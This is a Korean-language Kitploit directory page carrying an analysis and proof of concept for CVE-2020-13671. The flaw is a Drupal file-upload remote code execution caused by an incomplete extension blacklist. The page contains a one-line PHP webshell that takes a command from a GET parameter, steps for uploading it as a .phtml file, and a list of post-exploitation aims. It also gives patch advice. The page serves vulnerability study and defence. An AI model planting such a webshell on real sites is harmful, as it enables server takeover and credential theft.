Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/dungsocool/cve-2020-13671-old
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - 파일 업로드를 통한 Drupal RCE 취약점 분석 및 PoC

저장소 보기
3일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-13671

파일 업로드를 통한 RCE — Drupal Core

소프트웨어: Drupal Core 8.7.5 (영향 범위: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (High)
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드 (Unrestricted Upload of File with Dangerous Type)
CISA KEV: 예 — 알려진 악용 취약점 (Known Exploited Vulnerability)
Advisory: SA-CORE-2020-012


Drupal이란

Drupal은 PHP로 작성된 오픈소스 콘텐츠 관리 시스템(CMS)으로, WordPress나 Joomla와 유사하지만 엔터프라이즈 웹사이트, 다국어 플랫폼 등 더 복잡한 시스템을 구축하는 데 적합합니다. Drupal은 모듈형 아키텍처를 사용하며, 사용 가능한 모듈을 활성화/비활성화하거나 커뮤니티에서 추가 모듈을 설치하여 기능을 확장할 수 있습니다.

모든 CMS의 기본 기능 중 하나는 사용자가 파일을 업로드할 수 있게 하는 것입니다 — 프로필 아바타, 첨부 문서, 게시글 내 첨부 파일 등. Drupal은 이러한 파일을 sites/default/files/ 디렉토리에 저장하고 웹 서버(Apache 또는 Nginx)를 통해 직접 제공합니다.

⇒ 이는 명확한 공격 표면을 만듭니다: 공격자가 PHP 파일을 해당 디렉토리에 업로드할 수 있다면, 웹 서버는 들어오는 요청을 통해 접근할 때 그 파일을 실행하게 됩니다.

이를 방지하기 위해 Drupal은 여러 방어 계층을 구축합니다: 파일 확장자 검증, 위험한 파일 이름 변경, 업로드 디렉토리에 스크립트 실행을 차단하는 .htaccess 배치. 그러나 8.7.5 버전에서는 공격자들이 이러한 계층들 사이의 정확히 그 사각지대를 악용합니다.

악용 조건

이 취약점은 파일 업로드 권한이 있는 계정을 필요로 합니다. Drupal 8.7.5의 기본 설정에서 일반 사용자(Authenticated)는 콘텐츠를 보고 댓글을 작성하는 권한만 있으며 — .

게시글을 작성하거나 파일을 업로드할 권한은 없습니다
계정악용 가능?설명
관리자 (Admin)예전체 업로드 권한 보유
편집자 / 콘텐츠 작성자예관리자에 의해 "콘텐츠 생성" 권한이 부여된 경우
인증 사용자 (기본값)아니요기본적으로 콘텐츠 생성 또는 업로드 권한 없음
익명 사용자 (로그인하지 않음)아니요업로드 권한 없음

그러나 실제로 많은 Drupal 사이트는 일반 사용자에게 콘텐츠 생성 권한을 부여합니다 (포럼, 커뮤니티 블로그, 기사 제출을 허용하는 뉴스 사이트 등). 이러한 경우 공격자는 계정을 등록하기만 하면 악용할 수 있습니다.

공격 흐름:

root@kitploit:~
업로드 권한이 있는 계정을 가진 공격자 → 게시글(Article) 생성
→ Image/File 첨부 필드를 통해 webshell.phtml 업로드
→ Drupal은 파일을 원래 이름 그대로 sites/default/files/에 저장
→ 공격자가 파일 URL에 접근 → Apache가 PHP 실행 → RCE

근본 원인 ( ROOT CAUSE )

core/modules/file/file.module 파일에는 실행 가능한 파일로 간주되는 확장자를 결정하는 단일 정규식이 있습니다:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

이 정규식은 phar, php, pl, py, cgi, asp, js 7가지 확장자를 나열합니다. 이 목록에 해당하는 확장자를 가진 파일은 Drupal에 의해 자동으로 .txt가 추가되어 — 실행 능력이 무력화됩니다.

하지만 PHP 엔진은 .php 파일만 처리하지 않습니다. 웹 서버 구성에 따라 다른 확장자도 인식하고 실행합니다:

확장자의미정규식에 포함?
.phpPHP 표준예
.phtmlPHP 대체 템플릿아니요
.php5PHP 5 핸들러아니요
.phtPHP 템플릿아니요
.phpsPHP 소스아니요
.shtmlServer-Side Includes아니요

5가지 PHP 확장자 변형이 정규식에서 완전히 누락되어 있습니다. 즉, shell.phtml이라는 이름의 파일이 Drupal로 전송되면 → 정규식이 일치하지 않음 → 이름이 변경되지 않음 → 원래 이름 그대로 업로드 디렉토리에 저장됨 → 웹 서버가 .phtml을 보고 → PHP로 실행 → 공격자가 RCE를 달성합니다. 이것이 근본 원인입니다: Drupal은 위험한 확장자를 차단하기 위해 블랙리스트를 사용했지만, 그 목록이 불완전했습니다.

각 방어 계층 분석

사용자가 파일을 업로드하면 Drupal은 저장하기 전에 3개의 검증 함수를 통과시킵니다. 아래는 .phtml에 대해 이 3개가 모두 실패하는 이유에 대한 분석입니다.

계층 1 — file_munge_filename() (core/includes/file.inc)

목적: 파일명 중간에 위치한 위험한 확장자를 탐지하여 _를 추가해 무력화하는 것. 함수 작동 방식:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // 파일명을 "." 기준으로 분할
$new_filename = array_shift($filename_parts); // 첫 번째 부분 = 원래 이름
$final_extension = array_pop($filename_parts); // 마지막 부분 = 최종 확장자

foreach ($filename_parts as $filename_part) {
    // 중간 부분들을 반복
    // 특정 부분이 위험한 확장자처럼 보이면 → "_" 추가
}
return $new_filename . '.' . $final_extension;

예를 들어 shell.phtml의 경우:

  • explode는 ["shell", "phtml"]로 분할
  • shift는 "shell"을 가져오고 ["phtml"]이 남음
  • pop은 "phtml"을 가져오고 []이 남음
  • 중간 배열이 비어 있음 → foreach 실행되지 않음
  • "shell.phtml"을 그대로 반환

그러나 파일에 확장자가 하나만 있으면 이 함수는 개입하지 않습니다. 따라서 이 함수는 여러 확장자를 가진 파일만 처리하도록 설계되었습니다.

계층 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

이것이 주요 방어 계층입니다. 1015행의 코드:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

파일명이 정규식과 일치하면 → MIME을 text/plain으로 변경하고 끝에 .txt를 추가합니다.

shell.phtml의 경우:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')는 0을 반환
  • 일치하지 않음 → if 블록에 진입하지 않음 → 파일은 원래 이름을 유지 따라서 이 섹션은 위험한 파일을 차단했어야 했지만, 정규식이 .phtml이 위험하다는 것을 알지 못하기 때문에 그대로 통과합니다.

계층 3 — 업로드 디렉토리의 .htaccess

Drupal은 sites/default/files/에 .htaccess 파일을 배치합니다:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

php_flag engine off 지시문은 디렉토리 전체에 대해 PHP 엔진을 끄지만 mod_php5에만 적용됩니다. Drupal 8.7.5는 PHP 7에서 실행되므로 mod_php7이 활성화되어 있고 비활성화되지 않습니다.

그리고 .htaccess에는 다른 3가지 약점도 있습니다:

  • Nginx는 .htaccess를 읽지 않음 — 이 파일은 Nginx에서는 완전히 무효
  • **AllowOverride None**으로 구성된 Apache → .htaccess가 무시됨
  • mod_php 대신 PHP-FPM을 사용하는 서버 → php_flag 지시문이 효과 없음

악용

단계 1 — 웹쉘 생성

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

단계 2 — 파일 업로드

업로드 권한이 있는 계정으로 Drupal에 로그인 → 콘텐츠(Content) → 콘텐츠 추가(Add content) → 게시글(Article) → Image 필드에서 webshell.phtml 파일을 선택 → 업로드(Upload).

Drupal은 파일을 수락하고, 이름을 변경하지 않으며, 원래 이름 그대로 sites/default/files/에 저장합니다.

image.png

단계 3 — 웹쉘 실행

그 후 whoami로 셸 호출을 실행합니다:

image.png

따라서 우리는 www-data로 RCE를 성공적으로 달성했습니다.

자격 증명을 확인하기 위해 추가 테스트:

image.png

결과

공격자는 데이터베이스 자격 증명이 포함된 settings.php를 읽고, 전체 DB를 덤프하고, 리버스 셸을 설치하거나, 루트 권한으로 권한 상승을 시도할 수 있습니다.

해결 방안

정규식 업데이트 — 누락된 5개 확장자 추가:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

.htaccess 업데이트 — mod_php7 비활성화 추가:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

패치는 작동하지만 여전히 블랙리스트에 의존합니다. 향후 새로운 확장자(.php8, .phpt)가 등장하면 정규식을 다시 업데이트해야 합니다. 알려진 안전한 확장자만 허용하는 화이트리스트 방식이 더 철저한 접근 방식이 될 것입니다.

요약

취약 파일core/modules/file/file.module 28행
근본 원인정규식 블랙리스트에 .phtml, .php5, .pht, .phps, .shtml 누락
영향.phtml 업로드 → 서버가 실행 → RCE
우회된 3가지 방어 계층file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
패치정규식에 5개 확장자 추가 + .htaccess에서 mod_php7 비활성화
도구 다운로드